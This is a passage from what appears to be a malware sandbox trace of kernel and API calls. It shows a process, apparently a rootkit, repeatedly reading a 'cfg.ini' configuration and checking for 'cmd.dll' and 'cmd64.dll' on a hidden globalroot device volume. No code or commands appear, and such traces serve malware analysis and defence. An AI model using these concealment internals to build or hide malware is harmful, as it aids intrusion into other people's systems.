KeLeaveCriticalRegion () [0125.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.590] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.590] KeEnterCriticalRegion () [0125.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.590] KeLeaveCriticalRegion () [0125.590] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.590] KeEnterCriticalRegion () [0125.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.590] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.590] IdePortDispatch () returned 0x103 [0125.590] KeWaitForMutexObject () returned 0x0 [0125.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.590] KeLeaveCriticalRegion () [0125.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.590] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.590] KeEnterCriticalRegion () [0125.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c82000 [0125.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.591] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.591] IdePortDispatch () returned 0x103 [0125.591] KeWaitForMutexObject () returned 0x0 [0125.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.591] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.591] IdePortDispatch () returned 0x103 [0125.591] KeWaitForMutexObject () returned 0x0 [0125.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.591] KeLeaveCriticalRegion () [0125.591] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.592] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.592] KeEnterCriticalRegion () [0125.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] KeLeaveCriticalRegion () [0125.592] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.592] KeEnterCriticalRegion () [0125.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.592] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] KeLeaveCriticalRegion () [0125.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.592] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.592] KeEnterCriticalRegion () [0125.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] ExFreePoolWithTag (P=0xfffffa8003bf7320, Tag=0x0) [0125.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] KeLeaveCriticalRegion () [0125.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.592] ReleaseMutex (hMutex=0xf0) returned 1 [0125.592] Sleep (dwMilliseconds=0x124f80) [0125.599] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.607] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.607] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.607] KeEnterCriticalRegion () [0125.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.607] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.607] IdePortDispatch () returned 0x103 [0125.607] KeWaitForMutexObject () returned 0x0 [0125.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.607] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.607] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.607] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.607] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.607] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.607] KeLeaveCriticalRegion () [0125.607] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.607] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.607] KeEnterCriticalRegion () [0125.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.607] KeLeaveCriticalRegion () [0125.607] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.607] KeEnterCriticalRegion () [0125.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.608] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.608] IdePortDispatch () returned 0x103 [0125.608] KeWaitForMutexObject () returned 0x0 [0125.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.608] KeLeaveCriticalRegion () [0125.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.608] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.608] KeEnterCriticalRegion () [0125.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.608] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0125.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.608] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.608] IdePortDispatch () returned 0x103 [0125.608] KeWaitForMutexObject () returned 0x0 [0125.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.608] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.608] IdePortDispatch () returned 0x103 [0125.608] KeWaitForMutexObject () returned 0x0 [0125.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] KeLeaveCriticalRegion () [0125.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.609] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.609] KeEnterCriticalRegion () [0125.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] KeLeaveCriticalRegion () [0125.609] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.609] KeEnterCriticalRegion () [0125.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.609] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] KeLeaveCriticalRegion () [0125.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.609] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.609] KeEnterCriticalRegion () [0125.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.609] KeLeaveCriticalRegion () [0125.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.609] ReleaseMutex (hMutex=0xf0) returned 1 [0125.609] Sleep (dwMilliseconds=0x124f80) [0125.623] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.624] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.624] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.624] KeEnterCriticalRegion () [0125.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.624] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.624] IdePortDispatch () returned 0x103 [0125.624] KeWaitForMutexObject () returned 0x0 [0125.624] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.624] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.624] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.624] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.624] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.624] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8bc0 [0125.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.624] KeLeaveCriticalRegion () [0125.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.624] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.624] KeEnterCriticalRegion () [0125.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.624] KeLeaveCriticalRegion () [0125.624] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.624] KeEnterCriticalRegion () [0125.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.624] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.624] IdePortDispatch () returned 0x103 [0125.625] KeWaitForMutexObject () returned 0x0 [0125.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.625] KeLeaveCriticalRegion () [0125.625] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.625] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.625] KeEnterCriticalRegion () [0125.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb9000 [0125.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.625] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.625] IdePortDispatch () returned 0x103 [0125.625] KeWaitForMutexObject () returned 0x0 [0125.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.626] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.626] IdePortDispatch () returned 0x103 [0125.626] KeWaitForMutexObject () returned 0x0 [0125.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.626] KeLeaveCriticalRegion () [0125.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.626] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.626] KeEnterCriticalRegion () [0125.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] KeLeaveCriticalRegion () [0125.627] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.627] KeEnterCriticalRegion () [0125.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.627] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] KeLeaveCriticalRegion () [0125.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.627] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.627] KeEnterCriticalRegion () [0125.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] ExFreePoolWithTag (P=0xfffffa8003bf8bc0, Tag=0x0) [0125.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.627] KeLeaveCriticalRegion () [0125.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.627] ReleaseMutex (hMutex=0xf0) returned 1 [0125.627] Sleep (dwMilliseconds=0x124f80) [0125.642] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.642] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.642] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.642] KeEnterCriticalRegion () [0125.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.642] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.642] IdePortDispatch () returned 0x103 [0125.642] KeWaitForMutexObject () returned 0x0 [0125.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.642] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.642] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.642] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.642] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.642] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.642] KeLeaveCriticalRegion () [0125.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.642] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.643] KeEnterCriticalRegion () [0125.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.643] KeLeaveCriticalRegion () [0125.643] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.643] KeEnterCriticalRegion () [0125.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.643] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.643] IdePortDispatch () returned 0x103 [0125.643] KeWaitForMutexObject () returned 0x0 [0125.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.643] KeLeaveCriticalRegion () [0125.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.643] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.643] KeEnterCriticalRegion () [0125.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbe000 [0125.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: 